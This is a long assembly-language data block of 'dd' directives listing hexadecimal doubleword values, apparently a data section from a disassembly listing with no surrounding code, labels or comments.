		dd 0CBC595h, 81A27537h,	2123EF15h, 1D007DFEh, 25100BF9h
		dd 31F2D67h, 462E5351h,	0E290AEE0h, 4100D5BDh, 5BE90C2Bh
		dd 1D52B275h, 0C3EF2CECh, 54864879h, 7B638890h,	0C98BE700h
		dd 4215395Dh, 0D309186Fh, 0A36528CAh, 859E7300h, 0A60C02D4h
		dd 0BCE21F12h, 40A50031h, 6DD9FACDh, 681D4903h,	90085FB3h
		dd 155BBCBh, 955927B6h,	0D4F91EE0h, 0F10F5D86h,	0E0606D91h
		dd 1F3729F8h, 75768Bh, 1A937114h, 0F6C6EC58h, 6A90FC00h
		dd 8FDD79Bh, 0FE27002Fh, 40F4197Fh, 51007670h, 4E6F0369h
		dd 7807A4Ah, 0DE86E12h,	559F7754h, 27BE8F1h, 55D2C899h
		dd 4D8A051h, 0B93638h, 70EDE3B5h, 24A19F6Ch, 8475210Fh
		dd 383CA0B7h, 50F26F69h, 0A4B6EEh, 59D6D0A0h, 9F3DA333h
		dd 9979FAA0h, 0E051C600h, 0BC124C10h, 8B7407C4h, 509A066Ch
		dd 4E17ABA5h, 0B4DBAE1Dh, 737A8E00h, 3E8AA7Fh, 56B61682h
		dd 170028F0h, 0E0F68A4Ch, 75DD703h, 5089AD75h, 3DD800EFh
		dd 1400C42Ah, 207958A4h, 64F85Eh, 0B4DA4608h, 666AE7E9h
		dd 74999B00h, 88F6F0C0h, 5B077EEh, 540BE6BEh, 1386406Bh
		dd 0CBCF4C42h, 82007190h, 33B0B27Eh, 2675D2Fh, 1B19E6EAh
		dd 4B619B9Eh, 0B2B6F431h, 1F00E358h, 1E009D68h,	0D3504A1Ah
		dd 0B71D15ADh, 13008661h, 46A6CB40h, 9E485A22h,	0A12E03E5h
		dd 54D6E92Fh, 60F730E2h, 91531121h, 577B27FDh, 953849h
		dd 5C5A284Eh, 0BB4F37h,	71733EF2h, 0D0C6984Ch, 63C7AB00h
		dd 0DEDAF0AAh, 5650625h, 53993FA5h, 67D99B0Ch, 1EC30FB1h
		dd 81A06D01h, 0DDBB3170h, 0A38347Ah, 9916DAA0h,	82A63009h
		dd 0E43C0368h, 6636A8CEh, 0C2D80C6Ch, 6E480F1Eh, 70A80E18h
		dd 7742040Fh, 1184F3D6h, 88760ACCh, 960F6910h, 0EFDB016Dh
		dd 0E748341h, 8F95C2E9h, 35805084h, 0FF65C525h,	5B17D960h
		dd 24EF0599h, 29D68369h, 0F41E00C7h, 101BACD2h,	466C7C00h
		dd 0F8FC797Bh, 62B002Dh, 7433F418h, 77007141h, 693A6A52h
		dd 2FCF63A5h, 0B8606FF6h, 8000A6FDh, 491FB3B5h,	135A7F79h
		dd 6BEE7BAh, 74BCE509h,	0C03DFF1Dh, 80F2BBBCh, 2591B285h
		dd 0FE2937BFh, 357273h,	1416E107h, 0B6B482A8h, 242C225Ch
		dd 3F805132h, 58207321h, 0F80F3F2h, 0C0268C4Eh,	1771E79Bh
		dd 1B6BB130h, 64DF450Dh, 833B0F39h, 69F1AD23h, 93B4F82Bh
		dd 0E001B83Ah, 0EEE4B5C5h, 0D86D4971h, 52542000h, 9FFD1D5h
		dd 0BB888C00h, 113D40BDh, 1D37DA0h, 8B855458h, 483F0A0Eh
		dd 0BF094F6Eh, 10B8359h, 6DE2B55Eh, 76F10A24h, 0B6B6C03Dh
		dd 943B01BAh, 0E0D19150h, 31C3B712h, 0E3F32609h, 80208A4Eh
		dd 557E511Ch, 0F6C324E9h, 0EE5405D0h, 0C0E75F97h, 0EFC2B22Fh
		dd 347F5AC6h, 5D456A00h, 7453B9C9h, 7F7371BFh, 0BD2D1EEAh
		dd 0B0DC55DDh, 521E500Eh, 9E60BC60h, 3F030C32h,	0A0341C41h
		dd 0F56E00D7h, 56EAD2F7h, 3009D40h, 59257323h, 7E3257h
		dd 0C28EB3B1h, 21EF752Eh, 1618FEFEh, 0F33C3FB0h, 4C6571F9h
		dd 776BAACh, 5AEED6FBh,	81BB808Dh, 6F5BCAC7h, 0C0F7FA82h
		dd 6360948h, 7C3BA10Dh,	7602DC86h, 0F70228B4h, 0C508C1BBh
		dd 0CA52C9FFh, 0DA3230h, 0D2C4C2F2h, 9F7234C8h,	0A40A7605h
		dd 0D826C45h, 0DD98402Fh, 36D40002h, 0EA7E7206h, 0AE028121h
		dd 3AB31985h, 0A40DC146h, 18E5B8F7h, 82B4001Ah,	0C723B7B5h
		dd 73009905h, 282CA9A3h, 2CF05E58h, 105CAB2h, 0ECA85F3Ah
		dd 0C3940003h, 4C500FCDh, 0FF40807Eh, 0B0B43133h, 6BE8DE00h
		dd 1F9C9A67h, 7F4E1F1Ch, 33374AB2h, 0E9ED07D6h,	9B9FC11Eh
		dd 2EFF60CBh, 0E0389E09h, 9421010Ah, 7F314CC1h,	4093DAE7h
		dd 3AAE3C18h, 4D80E5DFh, 7860857Bh, 4F0C22E4h, 2762BA20h
		dd 9149016h, 3EEF1C82h,	0ABD1FD81h, 0DF62DCh, 91B723E5h
		dd 5D58BEC6h, 0B4062180h, 0F5686ECh, 5452E260h,	0F408D3D7h
		dd 5D2D26E1h, 8023B4B6h, 0F3BD2BB6h, 0BE751201h, 606B22FDh
		dd 37088C50h, 0C0C40041h, 7377F4F2h, 285DA5A7h,	0DBDF0045h
		dd 9093100Eh, 26F33EC2h, 0D8A7AB80h, 925D61DEh,	0F0013F8h
		dd 0A2C8453Fh, 0A86CAC12h, 4C35088Ch, 0B3003EC0h, 14A890B5h
		dd 742A6E3Eh, 0AC79A54Fh, 10E20807h, 0CD11861Ah, 0B924D807h
		dd 984018A6h, 0DA9C0C90h, 2F4B7409h, 87C10132h,	0B402FD1Fh
		dd 0FEBD8930h, 48AE0296h, 8A7376DCh, 1FBCB21h, 0C2F4E8h
		dd 0EDD5FAF0h, 0BE3BFD59h, 86E5550Eh, 3A1ACC0Eh, 6E9271h
		dd 0F35C183h, 11626D37h, 0C07DA100h, 59A6785Ch,	4C0E1EA2h
		dd 0CCF00279h, 9940CB55h, 0AF0F4383h, 0E0D2399Fh, 2C4DB64h
		dd 0A5700096h, 0A6460FA3h, 0E6E8B2D3h, 0F8208600h, 7CCB1B84h
		dd 0B88800BAh, 9B142ABEh, 0C1003340h, 625C2BB9h, 0EF553Dh
		dd 938D5D83h, 48421216h, 0D764DA00h, 351002CFh,	1774F7Eh
		dd 584E1FDFh, 0B09F8DBh, 0BE8A8E00h, 693B3FBCh,	0F2F60073h
		dd 0A7AA2725h, 3D7D0AFBh, 0EFBEC201h, 0A97478F5h, 50262AF0h
		dd 0AB9FF56h, 915C329h,	4C1F00E9h, 3821F4D7h, 486D6B05h
		dd 0FD85C594h, 0D2F2500Ch, 6592FDh, 2B51BD7Fh, 0DDE15E60h
		dd 0EB101200h, 0FF6D6737h, 46114841h, 99502B06h, 0C200BB1Ah
		dd 7A7EFBF1h, 0BD31AEACh, 0E21668D8h, 0D9000CDEh, 4DCAC895h
		dd 0AD1C1F4Ah, 616540E0h, 171B9892h, 0CD174C7Ch, 6F00F9C9h
		dd 0B666CC5Ch, 0CBAD208h, 4BA7ABFh, 0D8389804h,	0C390AA72h
		dd 6842CEh, 289B9A9Ch, 0E1F78BF1h, 0C87A3E30h, 30C62C8Ch
		dd 22484A16h, 7005CC60h, 4C1C42AEh, 10E54280h, 218718F3h
		dd 0B17327F1h, 0BD88C01h, 0AC22E80Dh, 6075A420h, 43D121A7h
		dd 56017B71h, 25A2086Eh, 0D7E86035h, 37530777h,	60C6ED3Dh
		dd 0A272881Ch, 2036666Fh, 5B2BDF04h, 4E3C1F61h,	1D50DAEEh
		dd 0A68E2E40h, 8160303Ch, 5115E5E9h, 84212408h,	2681E3F1h
		dd 0FCE010D2h, 51168086h, 55EC3F63h, 32BC1320h,	7906039Ch
		dd 0A3E81C26h, 3F30DD43h, 71393AC1h, 0FCD650Bh,	0ABBDC067h
		dd 72E805D5h, 910075B8h, 9EC3BD8Dh, 0F1F1DEAh, 5F8533FAh
		dd 8A729761h, 7D3DC4F6h, 8F00577Bh, 5B5525FBh, 3CFCBEFh
		dd 94C9058Bh, 9098B549h, 5901C5C3h, 2B9E7D35h, 3BC88ACFh
		dd 2EEDF872h, 1F95A8B2h, 1D21809Ch, 3F2D5250h, 0A379DF0Ch
		dd 0D5A072h, 0DEA97F13h, 57EBB7DCh, 4B189E00h, 0FCCCD04Dh
		dd 0E9DD0E02h, 21E78DF1h, 9E247071h, 6800D4CEh,	0E2767442h
		dd 0A0EDBDC1h, 0AD63ECh, 8B6F67ECh, 0AACFCD9Bh,	2A5CC20Bh
		dd 3E30E5Fh, 0C8817F4Ch, 98510A82h, 36370036h, 1953C61Ch
		dd 0E0FAC87h, 0F7FA7AAAh, 6B6FBA00h, 3C7CA19Bh,	800209DCh
		dd 0FC908A5Ah, 9CABED60h, 1917AB90h, 0C21D21F3h, 0BBB5F441h
		dd 5FE8591Bh, 3D99803h,	78E401D4h, 9BE0F512h, 0D50197B1h
		dd 322CFCB0h, 0B87477B5h, 0CC83776Fh, 4F0D253Ah, 928D52h
		dd 0C6BADFD9h, 66ECB0h
		dd 0F3AC2406h, 37A39D6Dh, 46441100h, 38073921h,	31193E3Eh
		dd 18807CBAh, 0B9B38349h, 24C0AC94h, 7BA0A26Dh,	992D2E93h
		dd 20D48930h, 67334780h, 94241AD3h, 442EE1C4h, 0E60C6C85h
		dd 0DF5EB80h, 0EC7D0E9Bh, 0AD8B65A7h, 0EEA65E80h, 0BF4F982Ch
		dd 0C601121Ch, 703F6587h, 0E0A7D340h, 600C9C0Fh, 0ABD0D29Dh
		dd 2E28F700h, 8A885509h, 0E4B10065h, 3B0DC1E6h,	6C032045h
		dd 0C5799EA0h, 0A7A84FF7h, 538B8EE0h, 0B5FEA2AEh, 1CF27DE2h
		dd 0D00E80D7h, 770E667Ah, 8172B45Eh, 1034C681h,	8B55E291h
		dd 796FF24h, 8CB85029h,	0DDD80109h, 89C16F30h, 58592917h
		dd 8BB8EAFCh, 0B135FE9h, 0EE1E7E9h, 5288C0BFh, 0F9D5DB8h
		dd 0C503062Ah, 20B7E067h, 0D8263382h, 0B1109E07h, 9C70AD5Ah
		dd 385C9230h, 0C008409h, 3463FD49h, 4D036115h, 0BF217929h
		dd 0B3780077h, 5269AC27h, 753DC86Bh, 0F73DBC19h, 61B13800h
		dd 0E549544Ch, 6D5F3F33h, 5B0164B8h, 0B47DC33Bh, 0F27F70DEh
		dd 1BEE2700h, 34715E91h, 0CDF003BCh, 65907D47h,	0FB26B6C8h
		dd 9C074900h, 0A84648AFh, 0DC1100DDh, 0BF5E2197h, 73006AF2h
		dd 770C4254h, 0EB6EDBh,	34C82266h, 0AFF1AE61h, 0AA291801h
		dd 5E84241h, 12E39950h,	806D04CCh, 0FFF88B66h, 6C398F05h
		dd 0E89761AEh, 730B8009h, 0A21847Ah, 0FD910175h, 0F59580Bh
		dd 16E02EBFh, 0A388EC11h, 38CE117h, 0FE620DB0h,	0DA04BF5Bh
		dd 8131614Eh, 4364F580h, 4B70FF02h, 3480B703h, 423130B8h
		dd 760AEBF4h, 5B7C2E17h, 35C4FD87h, 535EACF0h, 0D0D09552h
		dd 0B70F0A01h, 3E983C3h, 2F8007C9h, 30BE011Ch, 0DF049942h
		dd 60F98149h, 0F6602ABh, 0D6FEA185h, 0C331298h,	8474074Dh
		dd 218875EBh, 0D42A3617h, 23EF8A0h, 82E300AAh, 9B3BBE11h
		dd 0F5C30322h, 42666C36h, 3DC391C3h, 20BF82E0h,	1D83123Ah
		dd 3F000D3Bh, 0C291CB7Ah, 0A121CE40h, 6DA54883h, 0D9BB1101h
		dd 0E3BD4F7Dh, 930C3806h, 11C72101h, 7241141Bh,	1061A74Bh
		dd 0FB6E349Bh, 2209EFAh, 0B8E86D78h, 583867E2h,	0B4219025h
		dd 11DF3BBCh, 45E4832h,	6E024F9Dh, 80509439h, 0A68BA7BEh
		dd 66C48852h, 60591C0Fh, 3CC543E1h, 6C083AC7h, 3ABE3401h
		dd 8A49B476h, 0EC832320h, 57116818h, 493C60A6h,	0E27811E3h
		dd 4F6C880Fh, 83009D62h, 8EC77CC6h, 563B0817h, 833B5750h
		dd 6ADCF7C1h, 14ABE140h, 0DDEE21E0h, 0B04D1510h, 20323401h
		dd 0C42C10ACh, 5A0F3F9Dh, 0AF2FAA25h, 3E090023h, 74243821h
		dd 0C9F0F2Bh, 330E0854h, 17AB2C20h, 0A1743648h,	0A07C8301h
		dd 8B2B2E06h, 1BE5FE8h,	0A310292h, 0C42804A1h, 590006AFh
		dd 3414AE21h, 0F19BAA2Fh, 787C385Ch, 0E9307815h, 818C184Ah
		dd 99783208h, 26B02E60h, 7AC253Bh, 8BBE3628h, 8123F015h
		dd 0F0E8329h, 852E08AEh, 0B70E378Dh, 53F40B0h, 0C34F9B8Ah
		dd 8C1152D1h, 0A22E5EC1h, 8257F839h, 0D2A68304h, 0C01007E6h
		dd 3ADE0C66h, 7BB580C8h, 6E884075h, 0DBA7080Eh,	0A00FC2CDh
		dd 9864489Ah, 0D8C93118h, 0E0512518h, 8A13DF8h,	0CA882039h
		dd 0E2F1BD01h, 822B4264h, 3B2C80DAh, 9063CC76h,	0C815300h
		dd 77881434h, 305EF60Ch, 0BDC5CD06h, 0C458E31Ah, 5FD839A0h
		dd 0DFAA6646h, 26523E40h, 403FE8E6h, 34591061h,	7850C542h
		dd 0A13C2452h, 0FC0EDB58h, 0FE7E87C3h, 537C87E3h, 30ADB0E4h
		dd 9721E228h, 6471167h,	4A947EC6h, 8482C128h, 0F5FC8E62h
		dd 820C405Eh, 0EC49BC48h, 0E06C0EE4h, 88C32045h, 3A2BFF3Ch
		dd 64144314h, 0BF040CC0h, 9096674Ah, 41D915FCh,	0A4FAB09Ah
		dd 3FC55F1Dh, 0CF90E0Ah, 0BE8380Fh, 0C430224Bh,	645880D5h
		dd 53C116CEh, 68A764E4h, 853BFF89h, 8C50B9F0h, 148470BCh
		dd 0B880BDC9h, 5CD97B9Ch, 6ECDBF0Ah, 8F0D85F0h,	2BF832CAh
		dd 9BA615E0h, 0B0425C98h, 39224848h, 5A18B873h,	0C0C0666Eh
		dd 8C4CFB05h, 0E4358A97h, 98048026h, 7CC90862h,	811E9890h
		dd 7823C110h, 8C03918Bh, 0D182F021h, 0A65185C5h, 883317E7h
		dd 0E0E04C88h, 84146450h, 94849898h, 0F9D1810Ah, 5E82E0C4h
		dd 4463BD54h, 0AEF450Ch, 99623480h, 0EDDE0C63h,	0CE3A8C01h
		dd 467C11Eh, 4C6E3CF1h,	0E0D60F88h, 2C0A1C16h, 0BF42F42Ch
		dd 129493EDh, 425FFD40h, 8C22F560h, 44442846h, 6880AE3Ah
		dd 538C99C1h, 9901FBD2h, 0C3323A4h, 0E34702F8h,	81F90DC1h
		dd 22A8239Ah, 80B8574Ah, 6199C534h, 4758790Ch, 9C35A98Ch
		dd 887AA844h, 0B4846BA0h, 21A09F82h, 5B47608Dh,	4B49C392h
		dd 0D8022914h, 0AB4174ACh, 20AB3809h, 0DF86E250h, 0F844283Eh
		dd 804F44E4h, 81CFA8A6h, 79956C3Bh, 48D8A6C9h, 32F56439h
		dd 4CA46C58h, 0F12CCFFCh, 0EC1ADBBBh, 0F9DF4690h, 0C85DEC02h
		dd 9038E94h, 4E1C348Ah,	0EB950483h, 4CEC44E4h, 24C10B05h
		dd 198A3CCh, 9B1D265Ch,	708FCE70h, 10914E20h, 9C40F5D9h
		dd 4CC88914h, 4C11783Ch, 51E452FBh, 6CC13CE8h, 1ED63AEBh
		dd 3C1CD855h, 3D9B11DFh, 0F8A1E15Bh, 26F92700h,	3F0E1A76h
		dd 0E17F055Eh, 0C9941B83h, 3E8113F0h, 7C145930h, 511F149Bh
		dd 48240012h, 0C45BC6BEh, 221403Fh, 99C72001h, 28AC6C0Eh
		dd 22F09416h, 3E0F9FA6h, 0A1348855h, 8EE8F0FEh,	0A8435C21h
		dd 3C3F2CDh, 1EC39D5h, 901BDE98h, 44817030h, 0F014AF4Ch
		dd 0F1201352h, 8218ED2Eh, 3CFC9149h, 0A3D380D7h, 0C8B2A441h
		dd 26FA18h, 0A2D8463Ch,	0C7CF2A5Dh, 0F9165B05h,	0D028CD21h
		dd 0ECBD0C4Dh, 1D088B6h, 3D9C0C07h, 0A079AB1Ch,	69AABB3Ch
		dd 0A20E24C7h, 808A1D00h, 88426F27h, 0F0015335h, 6E92389Ah
		dd 1C3D634Bh, 4148AB18h, 4F001151h, 0E687A8D2h,	0A586A47h
		dd 3E7B8C4Dh, 38CB01EDh, 39C5D66Ch, 39144CD8h, 9C3FA45Fh
		dd 0CE3E5B80h, 0CC0FC119h, 4C81B978h, 367C21C1h, 3020DACEh
		dd 286940D8h, 76293D09h, 5C68828Dh, 0E2106046h,	4BC9281Fh
		dd 8B81EACh, 4E810CC2h,	2143F10h, 1FC129Bh, 4B1E5395h
		dd 0D18F8D69h, 6706F1FFh, 523C1189h, 24CA000Ch,	356B9916h
		dd 838E2ABEh, 629B00E0h, 143CFF1Bh, 0E7195C1Ah,	9A080203h
		dd 134D2180h, 6A0AE1FFh, 40B8F537h, 70EEB930h, 2AEA00C2h
		dd 7996001h, 1A000DC4h,	0C3FD627Fh, 4983A80h, 0F5CBD26Ch
		dd 357CC83Eh, 56C74305h, 80036BB0h, 0F83824BFh,	0C051C910h
		dd 6C3F25E0h, 81F915F8h, 0CBB12710h, 3BC89593h,	0D8C95492h
		dd 3C8B00BFh, 0D7B9152Ch, 6806356Eh, 48A564EAh,	5A210021h
		dd 0E00F6A79h, 6BF49327h, 0B43F9C0Fh, 0C5F9A11Dh, 60FACF7Eh
		dd 20F11524h, 8825E775h, 393C7001h, 4B096762h, 1811921Bh
		dd 37C1144h, 0B49DF0h, 66971285h, 4FD3984Ah, 85B4B958h
		dd 0E48802E8h, 664B0C7Fh, 22404357h, 0CC0D14A4h, 0F06C711Fh
		dd 837022D7h, 7CB2800h,	0CDC52C3Ah, 808B48CEh, 56C43328h
		dd 140EE489h, 12683DFFh, 8166C6h, 23FF0C4Ch, 0CA04D0CFh
		dd 340CEDF2h, 0D153B498h, 2CE0F5h, 26811552h, 0EEED6FF6h
		dd 1963B400h, 2B274645h, 0E5302A0h, 4116E88Eh, 71C21C80h
		dd 3490552Dh, 96B3140Eh, 5C428033h, 3311830Dh, 0FBE9E420h
		dd 629A91B7h, 1A3CC83Fh, 0F31884B4h, 2592121h, 7F49C383h
		dd 440BDF2h, 638266B5h,	0E5023D4h, 91445B1Eh, 0F2625762h
		dd 8353DA20h, 76EF0122h, 15FA4D9Dh, 40C9C9D1h, 2CA3A0F4h
		dd 0E8ABB80Bh, 0C5146803h
		dd 0A064922Bh, 122F8162h, 910DE830h, 4CC04854h,	0A28408F0h
		dd 1150175Ch, 9C0581F1h, 2830B5D9h, 694760AAh, 526D76B9h
		dd 95356802h, 0C8FDC174h, 40D9AB8h, 32BD668Eh, 3AC807Eh
		dd 5D7CDB1Dh, 4149AB30h, 3175B0h, 0F15E3377h, 298FC2E6h
		dd 90980878h, 0BD96EE38h, 0AA63011Ah, 9811A507h, 0EC085821h
		dd 95CC00F8h, 6EC76690h, 5494469Ch, 0AED5C902h,	6CF460E9h
		dd 43A528C0h, 0BCBE3CD0h, 25092A4h, 0C54F232Bh,	8169499h
		dd 3AA607F2h, 0F45C5A14h, 8C0F1F9Ch, 0E11D9291h, 53AAF380h
		dd 1CF124h, 0C0BAE707h,	6EC5CB5Dh, 0B4609D6Ah, 30061C24h
		dd 73B143ABh, 22A4095Fh, 0D084B4C5h, 27D4D53Eh,	0A4930070h
		dd 0F518C5B0h, 0DB488A12h, 0BEC22E91h, 1A4A89B0h, 0F90B9C90h
		dd 0B8E07128h, 45D903Ch, 12CC1B7Ah, 53348081h, 12E86160h
		dd 94BF4F73h, 0E14C074h, 11C0E921h, 0D150C488h,	0D5311C2Ch
		dd 0A395C0EFh, 0CF8C55D4h, 0D8C1F8A2h, 2E42692h, 1438FF1Fh
		dd 21EE333Ah, 0FF174900h, 23F74C6Fh, 0C4940BF3h, 8C2882EDh
		dd 4A6508C8h, 0A6542700h, 2C8EB0BAh, 16185D2Bh,	0D08014ADh
		dd 3C3D250Fh, 407B2E20h, 0C33091E2h, 5289C943h,	0F9050537h
		dd 0A620EDh, 0EE5CAA0Ch, 3E2815F0h, 0CA24C82Ch,	3D13406Dh
		dd 56C1EC01h, 0D806620Ch, 0E4506EFAh, 202A4308h, 4A008CEBh
		dd 6A64212h, 7DF51E6h, 0A7277A03h, 1CB95273h, 453180C0h
		dd 1A01880h, 0F20AE022h, 34841601h, 0D51805F8h,	3A88392Fh
		dd 5280A089h, 0F33500CFh, 10D917FBh, 0DCB87541h, 68A87610h
		dd 0C61E5200h, 0B985C2A6h, 1D429B03h, 0D36EFFC1h, 2AE90046h
		dd 1E3FABE6h, 9317363Bh, 4C04320Ch, 9109F7CDh, 41A64003h
		dd 2D313Dh, 32E0238Bh, 1C914697h, 0C4DCA35Dh, 0C27E20DEh
		dd 804B53FCh, 0A14DC5F1h, 3808839h, 6F729D32h, 0A8FA0071h
		dd 57BC4D5Ch, 0B626CB1Ah, 8C91F8D6h, 3EFF1980h,	448C2A14h
		dd 111C4F65h, 0B647A5FFh, 81FF3054h, 35F86286h,	0A6125838h
		dd 387C4072h, 63BE0C7Eh, 960D84B0h, 69886C4Bh, 14215060h
		dd 0A40B340Ah, 245D7010h, 3511C05Ah, 25A49680h,	1E878CC5h
		dd 0D3A4807Dh, 9A16CDCBh, 5408A180h, 907CF461h,	0A8535D88h
		dd 15CE3280h, 448C2FC1h, 2A097850h, 802E47CEh, 6C316E9Eh
		dd 68260FDCh, 98CE1DB6h, 0FECB2940h, 5CB22332h,	9014730Eh
		dd 0B5E15882h, 2A10075h, 7C6076C4h, 0E204CAD1h,	991E9319h
		dd 16B390D0h, 4B131EAEh, 78C2962h, 0D1051FF5h, 21D7E9C9h
		dd 0EC660Ch, 6E36F891h,	0C177FB08h, 0AEC5C4E0h,	1360328Fh
		dd 9020C24Fh, 6E590FE2h, 0EDA4286Eh, 8990C8ACh,	51ECD88h
		dd 0F17150FEh, 6050C098h, 0F2E9A87h, 57A89C91h,	1054AB48h
		dd 7059C411h, 0A9C83324h, 18677920h, 1C1E0E6Ah,	0F9A713D5h
		dd 0B1106090h, 0CC061AA2h, 8C53768Dh, 0F309051h, 153CEAFAh
		dd 3F928402h, 0C00D007Ah, 8865C876h, 688FDFCh, 0C5C11430h
		dd 9B48A8E5h, 21FE16B0h, 9672E0D0h, 0F5CE00BEh,	8BC4DEE6h
		dd 0C09CC8E0h, 5B4132C2h, 4F29050h, 4FFB5BC7h, 0C604BCA8h
		dd 0C07136BDh, 81E06E54h, 0C801DD4Eh, 0C35B3C0Fh, 5788942Dh
		dd 20E22021h, 0C57330DEh, 0B0916220h, 5A18F700h, 622390F2h
		dd 0EF0114Fh, 208352DBh, 0A2637AA7h, 0CBBA1E6Ch, 7468A5F8h
		dd 0AD007B4Ah, 28C5CE33h, 2ED9140Bh, 8704C85Dh,	5A6D17ECh
		dd 23E0280h, 0E0802A58h, 0D8EFE25Dh, 9B76070Fh,	0CBCE804Bh
		dd 603F974h, 0AC2465AFh, 0D30E7069h, 0C0DB2B3Dh, 1FC27E1Ch
		dd 515A6FB5h, 4EC46A8Fh, 795081BAh, 9C6035Fh, 0EF09148h
		dd 3CDD2882h, 0E727600Eh, 2E304FBh, 373D63C0h, 0E81BABh
		dd 3840500Fh, 0AAC70C21h, 0B9115CB4h, 53076377h, 0A419399Ah
		dd 16C00990h, 0D46E0405h, 0D15EB517h, 1098D758h, 0E4ECF1h
		dd 1FFA22C7h, 10E580BBh, 0C1992A00h, 850F8BD7h,	0F99E1F83h
		dd 1593808Dh, 0B9532BCh, 9400F1E8h, 0A284C50Ah,	71D1905h
		dd 0F5BA3877h, 808CC04Ah, 8201F98Fh, 0F7158BFAh, 43C29286h
		dd 0BB06F738h, 9411C328h, 88E0830Eh, 0FC1EB804h, 8700F98Dh
		dd 0F0F7058Fh, 0F8B7F0A3h, 0BF150F95h, 860798F5h, 81068080h
		dd 0CF1A97F1h, 35B81216h, 0AA00F704h, 0B00498E3h, 14CFFEFCh
		dd 188E8A8Ch, 17EB13B3h, 9CA71000h, 1CC13735h, 679200DBh
		dd 9E0E76AAh, 5460644Ch, 52AF9D18h, 2C3A3ECAh, 2EF92706h
		dd 0B70F4898h, 0E025F87Ch, 0FB13A1E7h, 44640029h, 14F94993h
		dd 0C17F9FB1h, 0EED53Dh, 169E2A09h, 62243Eh, 92B1E926h
		dd 451E0A12h, 4F945D05h, 3AAFEECh, 0B4830B7Bh, 0FC4416D8h
		dd 0B718CC60h, 0C1CE4A64h, 0B4611570h, 0B8404054h, 19639212h
		dd 0EE1103D9h, 0C6FAF008h, 0C07D52F9h, 7CA402E4h, 8892EB3Ah
		dd 0F0CCAE05h, 3C30E79Ch, 646C10F8h, 0C3DB18A3h, 0BF36681Ch
		dd 0E1806271h, 0EA948079h, 812FF8CCh, 9DF0C9Dh,	9C403F45h
		dd 83C53620h, 5550189Ch, 2B4A789Eh, 0B825D4A8h,	7E028CA5h
		dd 3C599CDFh, 56807E61h, 85EEA9E0h, 8C408188h, 0EA97AE99h
		dd 1A9F09EFh, 0C209B13h, 0F785262h, 0C03C2ECh, 11673374h
		dd 2E892829h, 489E6448h, 6A289CE2h, 605E6491h, 0FE3409DAh
		dd 55F82348h, 5D183Bh, 0F7DE1051h, 3BFAA2F8h, 82000A93h
		dd 80BE0E98h, 0FEFD0C8Bh, 0B05878CCh, 8C0B0E50h, 73E9CFCh
		dd 0A22E6E32h, 0B30E9740h, 0EC5405F5h, 304E181Bh, 0EBF68744h
		dd 17406F02h, 98439A82h, 7C370F04h, 0C4253B0h, 0E0780840h
		dd 8AFA7CB2h, 24767430h, 280853FBh, 886FF8E7h, 0A03E1419h
		dd 0EAE412E9h, 4CBACC49h, 8A6A410h, 892BEE44h, 33305B06h
		dd 0A5625956h, 89681028h, 0C4F813BCh, 0C4086764h, 107010E9h
		dd 3A26D6EAh, 943EDF9Ch, 850CC6EAh, 8C64F96Fh, 0DA765001h
		dd 28A1D6A5h, 91019DCh,	91B81711h, 441C2213h, 1F891E1Dh
		dd 19241812h, 1B911A48h, 0E544E422h, 12E789E6h,	4FE124E0h
		dd 313283E2h, 3575E8A7h, 6EEA29ADh, 0B89A19F4h,	29844B29h
		dd 9575041Dh, 422808CAh, 4DF200BCh, 2BBD16E6h, 2DF8A698h
		dd 107867F8h, 3BFE7200h, 8317E72Ah, 8DEDF54Dh, 95FD18F1h
		dd 9DE560D1h, 854020E3h, 3E3A6320h, 71011187h, 22A1BFEh
		dd 0C69BE010h, 0FED74894h, 55FF0487h, 88B3E592h, 0A1298200h
		dd 0AF377EE3h, 9592E28Bh, 49CC038h, 7A44E281h, 82170C5Bh
		dd 590958E0h, 418088Ah,	1677D55Fh, 3B07BAA9h, 1B50E022h
		dd 0A093C525h, 0A5EE0A10h, 56CA7038h, 59075EE2h, 0EDA49652h
		dd 2E85C3h, 1A417E18h, 142B1E95h, 2F9DE314h, 73623E1Ch
		dd 5DE6B302h, 91E54ADBh, 9C7A3728h, 0D31B3EE4h,	8B4168D6h
		dd 513100EDh, 0BE8BCA8Fh, 0E700344Eh, 7C0C1EBFh, 449DE639h
		dd 0B607AB2Ch, 4B0D4A8h, 1C2994C3h, 435E3519h, 0E48085F0h
		dd 5BC0D91Ch, 0C6A09A03h, 0BD91A0C2h, 8F523ABCh, 0BF0DED8Ch
		dd 64176028h, 58BC51B8h, 50F01A18h, 99C0E613h, 60C5FAD9h
		dd 0D8C0007Eh, 6399FEB1h, 320F8AA8h, 3E7352Dh, 0E8CAF445h
		dd 35AAB14h, 0C5D9493h,	1BD06190h, 8AF889FBh, 0B7FDFF03h
		dd 0E849BCD4h, 339FDCh,	3908EB0h, 32C8480Ch, 79EF1330h
		dd 0ECFA7134h, 0E7D45h,	1101BCC7h, 9039A42Eh, 40B8ED1Fh
		dd 1D804A06h, 92F2F1h, 5288C6C5h, 231081AEh, 517AAF30h
		dd 3EE24907h, 0E987BF9Bh, 907E26F4h, 0B769C1FCh, 0B1C50F0Fh
		dd 6339819Ah, 0B0E00E62h
		dd 3D1A1E53h, 0F90AC009h, 0D40C4992h, 14B69B29h, 11816F47h
		dd 5FC08FAh, 5DBE3E3Eh,	5274F900h, 0B09A39F5h, 69D11103h
		dd 0DBC308B4h, 0BCC5B8EFh, 90F9605Ah, 5FD51053h, 0B00F18DDh
		dd 0B73F83B5h, 0B6C7A159h, 4C2880B3h, 0BB65D2A0h, 6F0C0574h
		dd 78D5FC63h, 75F91810h, 62643058h, 0FC590A60h,	0A45998FBh
		dd 0EF092A0Ch, 1D480984h, 2B0069C3h, 0C5CBDD4h,	0B664C503h
		dd 708F811h, 47680929h,	0EA9363AAh, 2735EC0h, 0A3A949C0h
		dd 50DCFDD5h, 72CF1820h, 70DB036Ch, 16BE29EDh, 0B5DC1900h
		dd 507AB617h, 15023A2Ch, 569FE807h, 0EDEE4193h,	713BDC1Ch
		dd 0A31B77EAh, 0E85882DBh, 768139h, 974C18Bh, 46FD423h
		dd 0D8E1C9C7h, 98D952D3h, 184981C0h, 0A9C169E7h, 298025E0h
		dd 362774A6h, 9076A2F1h, 0E1E53032h, 0B1188F6Fh, 8296864h
		dd 0ED374320h, 93AC3101h, 81C6E744h, 15A32C41h,	0F62A22D2h
		dd 0C5EB3603h, 188F4048h, 8A493818h, 0B8F48633h, 36590CECh
		dd 9C3024B4h, 0BF791C63h, 313118CBh, 3F5A591Eh,	0C8EB2A28h
		dd 6C35BE24h, 3B400A9Ch, 75ED34BCh, 0D3D9188Bh,	68D4C0DEh
